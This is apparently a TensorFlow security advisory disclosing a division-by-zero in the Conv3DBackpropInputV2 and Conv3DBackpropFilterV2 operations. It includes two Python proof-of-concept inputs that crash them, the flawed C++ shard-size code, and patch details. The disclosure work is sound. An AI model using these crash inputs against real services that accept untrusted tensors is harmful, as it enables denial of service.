Division by 0 in `Conv3DBackprop*`
### Impact
The `tf.raw_ops.Conv3DBackprop*` operations fail to validate that the input tensors are not empty. In turn, this would result in a division by 0:
```python
import tensorflow as tf
input_sizes = tf.constant([0, 0, 0, 0, 0], shape=[5], dtype=tf.int32)
filter_tensor = tf.constant([], shape=[0, 0, 0, 1, 0], dtype=tf.float32)
out_backprop = tf.constant([], shape=[0, 0, 0, 0, 0], dtype=tf.float32)
tf.raw_ops.Conv3DBackpropInputV2(input_sizes=input_sizes, filter=filter_tensor, out_backprop=out_backprop, strides=[1, 1, 1, 1, 1], padding='SAME', data_format='NDHWC', dilations=[1, 1, 1, 1, 1])
```
```python
import tensorflow as tf
input_sizes = tf.constant([1], shape=[1, 1, 1, 1, 1], dtype=tf.float32)
filter_tensor = tf.constant([0, 0, 0, 1, 0], shape=[5], dtype=tf.int32)
out_backprop = tf.constant([], shape=[1, 1, 1, 1, 0], dtype=tf.float32)
tf.raw_ops.Conv3DBackpropFilterV2(input=input_sizes, filter_sizes=filter_tensor, out_backprop=out_backprop, strides=[1, 1, 1, 1, 1], padding='SAME', data_format='NDHWC', dilations=[1, 1, 1, 1, 1])
```
This is because the implementation
https://github.com/tensorflow/tensorflow/blob/a91bb59769f19146d5a0c20060244378e878f140/tensorflow/core/kernels/conv_grad_ops_3d.cc#L430-L450 does not check that the divisor used in computing the shard size is not zero:
```cc
const int64 size_A = output_image_size * dims.out_depth;
const int64 size_B = filter_total_size * dims.out_depth;
const int64 size_C = output_image_size * filter_total_size;
const int64 work_unit_size = size_A + size_B + size_C;
...
const size_t shard_size =
use_parallel_contraction
? 1
: (target_working_set_size + work_unit_size - 1) / work_unit_size;
```
Thus, if attacker controls the input sizes, they can trigger a denial of service via a division by zero error.
### Patches
We have patched the issue in GitHub commit 311403edbc9816df80274bd1ea8b3c0c0f22c3fa
https://github.com/tensorflow/tensorflow/commit/311403edbc9816df80274bd1ea8b3c0c0f22c3fa.
The fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.
### For more information
Please consult our security guide
https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md for more information regarding the security model and how to contact us with issues and questions.
### Attribution
This vulnerability has been reported by Yakun Zhang and Ying Wang of Baidu X-Team.